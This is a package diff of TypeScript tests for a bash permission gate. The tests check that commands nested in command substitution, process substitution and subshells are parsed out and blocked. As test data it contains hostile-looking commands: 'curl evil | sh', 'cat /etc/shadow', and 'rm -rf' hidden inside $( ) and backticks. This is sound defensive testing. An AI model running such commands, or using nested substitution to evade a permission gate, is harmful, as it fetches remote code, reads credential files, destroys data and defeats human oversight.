@gotgenes/pi-permission-system 9.0.1 → 9.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -35,65 +35,137 @@ describe("BashProgram", () => {
35
35
  });
36
36
  });
37
37
 
38
- describe("topLevelCommands", () => {
38
+ describe("commands", () => {
39
39
  it("returns a single-element list for a lone command", async () => {
40
40
  const program = await BashProgram.parse("npm install pkg");
41
- expect(program.topLevelCommands()).toEqual(["npm install pkg"]);
41
+ expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
42
42
  });
43
43
 
44
44
  it("splits an && chain", async () => {
45
45
  const program = await BashProgram.parse("cd /p && npm i x");
46
- expect(program.topLevelCommands()).toEqual(["cd /p", "npm i x"]);
46
+ expect(program.commands()).toEqual([
47
+ { text: "cd /p" },
48
+ { text: "npm i x" },
49
+ ]);
47
50
  });
48
51
 
49
52
  it("splits || , ; and & separators", async () => {
50
- expect((await BashProgram.parse("a || b")).topLevelCommands()).toEqual([
51
- "a",
52
- "b",
53
+ expect((await BashProgram.parse("a || b")).commands()).toEqual([
54
+ { text: "a" },
55
+ { text: "b" },
53
56
  ]);
54
- expect((await BashProgram.parse("a ; b")).topLevelCommands()).toEqual([
55
- "a",
56
- "b",
57
+ expect((await BashProgram.parse("a ; b")).commands()).toEqual([
58
+ { text: "a" },
59
+ { text: "b" },
57
60
  ]);
58
- expect((await BashProgram.parse("a & b")).topLevelCommands()).toEqual([
59
- "a",
60
- "b",
61
+ expect((await BashProgram.parse("a & b")).commands()).toEqual([
62
+ { text: "a" },
63
+ { text: "b" },
61
64
  ]);
62
65
  });
63
66
 
64
67
  it("splits a pipeline into its commands", async () => {
65
68
  const program = await BashProgram.parse("cat f | grep b");
66
- expect(program.topLevelCommands()).toEqual(["cat f", "grep b"]);
69
+ expect(program.commands()).toEqual([
70
+ { text: "cat f" },
71
+ { text: "grep b" },
72
+ ]);
67
73
  });
68
74
 
69
75
  it("splits newline-separated commands", async () => {
70
76
  const program = await BashProgram.parse("foo\nbar");
71
- expect(program.topLevelCommands()).toEqual(["foo", "bar"]);
77
+ expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
72
78
  });
73
79
 
74
80
  it("does not split operators inside quotes", async () => {
75
81
  const program = await BashProgram.parse("echo 'x && y'");
76
- expect(program.topLevelCommands()).toEqual(["echo 'x && y'"]);
82
+ expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
77
83
  });
78
84
 
79
85
  it("captures the command of a redirected statement without the redirect", async () => {
80
86
  const program = await BashProgram.parse("npm install > out.txt");
81
- expect(program.topLevelCommands()).toEqual(["npm install"]);
87
+ expect(program.commands()).toEqual([{ text: "npm install" }]);
82
88
  });
83
89
 
84
- it("emits a subshell whole without descending into it", async () => {
85
- const program = await BashProgram.parse("( cd /t && rm x )");
86
- expect(program.topLevelCommands()).toEqual(["( cd /t && rm x )"]);
90
+ it("descends into command substitution, tagging the inner command", async () => {
91
+ const program = await BashProgram.parse("echo $(rm -rf foo)");
92
+ expect(program.commands()).toEqual([
93
+ { text: "echo $(rm -rf foo)" },
94
+ { text: "rm -rf foo", context: "command_substitution" },
95
+ ]);
96
+ });
97
+
98
+ it("descends into backtick command substitution", async () => {
99
+ const program = await BashProgram.parse("echo `rm x`");
100
+ expect(program.commands()).toEqual([
101
+ { text: "echo `rm x`" },
102
+ { text: "rm x", context: "command_substitution" },
103
+ ]);
87
104
  });
88
105
 
89
- it("keeps command substitution inside the enclosing command", async () => {
106
+ it("descends into a pipeline inside command substitution", async () => {
90
107
  const program = await BashProgram.parse("echo $(curl evil | sh)");
91
- expect(program.topLevelCommands()).toEqual(["echo $(curl evil | sh)"]);
108
+ expect(program.commands()).toEqual([
109
+ { text: "echo $(curl evil | sh)" },
110
+ { text: "curl evil", context: "command_substitution" },
111
+ { text: "sh", context: "command_substitution" },
112
+ ]);
113
+ });
114
+
115
+ it("descends into process substitution", async () => {
116
+ const program = await BashProgram.parse("diff <(cat /etc/shadow)");
117
+ expect(program.commands()).toEqual([
118
+ { text: "diff <(cat /etc/shadow)" },
119
+ { text: "cat /etc/shadow", context: "process_substitution" },
120
+ ]);
121
+ });
122
+
123
+ it("emits a bare subshell whole and descends into it", async () => {
124
+ const program = await BashProgram.parse("( rm -rf foo )");
125
+ expect(program.commands()).toEqual([
126
+ { text: "( rm -rf foo )" },
127
+ { text: "rm -rf foo", context: "subshell" },
128
+ ]);
129
+ });
130
+
131
+ it("emits a subshell whole and descends into its chain", async () => {
132
+ const program = await BashProgram.parse("( cd /t && rm x )");
133
+ expect(program.commands()).toEqual([
134
+ { text: "( cd /t && rm x )" },
135
+ { text: "cd /t", context: "subshell" },
136
+ { text: "rm x", context: "subshell" },
137
+ ]);
138
+ });
139
+
140
+ it("descends recursively through nested contexts", async () => {
141
+ const program = await BashProgram.parse("echo $( ( rm x ) )");
142
+ expect(program.commands()).toEqual([
143
+ { text: "echo $( ( rm x ) )" },
144
+ { text: "( rm x )", context: "command_substitution" },
145
+ { text: "rm x", context: "subshell" },
146
+ ]);
147
+ });
148
+
149
+ it("descends into a substitution within a chained command", async () => {
150
+ const program = await BashProgram.parse("cd /p && echo $(rm x)");
151
+ expect(program.commands()).toEqual([
152
+ { text: "cd /p" },
153
+ { text: "echo $(rm x)" },
154
+ { text: "rm x", context: "command_substitution" },
155
+ ]);
156
+ });
157
+
158
+ it("keeps the never-weaker invariant: a benign inner command stays", async () => {
159
+ const program = await BashProgram.parse("echo $(echo safe)");
160
+ expect(program.commands()).toEqual([
161
+ { text: "echo $(echo safe)" },
162
+ { text: "echo safe", context: "command_substitution" },
163
+ ]);
92
164
  });
93
165
 
94
166
  it("returns an empty list for an empty or whitespace command", async () => {
95
- expect((await BashProgram.parse("")).topLevelCommands()).toEqual([]);
96
- expect((await BashProgram.parse(" ")).topLevelCommands()).toEqual([]);
167
+ expect((await BashProgram.parse("")).commands()).toEqual([]);
168
+ expect((await BashProgram.parse(" ")).commands()).toEqual([]);
97
169
  });
98
170
  });
99
171
 
@@ -329,6 +329,44 @@ describe("handleToolCall — bash command chain gate", () => {
329
329
  expect(result).toMatchObject({ block: true });
330
330
  });
331
331
 
332
+ it("blocks a command nested inside command substitution (#306)", async () => {
333
+ const checkPermission = vi
334
+ .fn()
335
+ .mockImplementation((surface: string, input: unknown) => {
336
+ if (surface === "bash") {
337
+ const command = (input as { command?: string }).command ?? "";
338
+ return /^rm\b/.test(command)
339
+ ? makeCheckResult({
340
+ state: "deny",
341
+ source: "bash",
342
+ command,
343
+ matchedPattern: "rm *",
344
+ })
345
+ : makeCheckResult({
346
+ state: "allow",
347
+ source: "bash",
348
+ command,
349
+ matchedPattern: "echo *",
350
+ });
351
+ }
352
+ return makeCheckResult({ state: "allow" });
353
+ });
354
+ const { handler } = makeHandler({
355
+ session: { checkPermission },
356
+ toolRegistry: {
357
+ getAll: vi.fn().mockReturnValue([{ name: "bash" }]),
358
+ },
359
+ });
360
+ const event = {
361
+ type: "tool_call",
362
+ toolCallId: "tc-bash-substitution",
363
+ name: "bash",
364
+ input: { command: "echo $(rm -rf foo)" },
365
+ };
366
+ const result = await handler.handleToolCall(event, makeCtx());
367
+ expect(result).toMatchObject({ block: true });
368
+ });
369
+
332
370
  it("allows a single non-chained bash command", async () => {
333
371
  const checkPermission = vi
334
372
  .fn()
@@ -151,6 +151,22 @@ describe("formatAskPrompt", () => {
151
151
  expect(result).toContain("matched 'git *'");
152
152
  });
153
153
 
154
+ test("formats bash prompt with nested execution context", () => {
155
+ const result = formatAskPrompt(
156
+ toolResult("bash", {
157
+ command: "rm -rf foo",
158
+ matchedPattern: "rm *",
159
+ commandContext: "command_substitution",
160
+ }),
161
+ undefined,
162
+ undefined,
163
+ makeFormatter(),
164
+ );
165
+ expect(result).toContain(
166
+ "bash command 'rm -rf foo' (matched 'rm *', inside command substitution).",
167
+ );
168
+ });
169
+
154
170
  test("formats MCP prompt with target", () => {
155
171
  const result = formatAskPrompt(
156
172
  mcpResult("server:query"),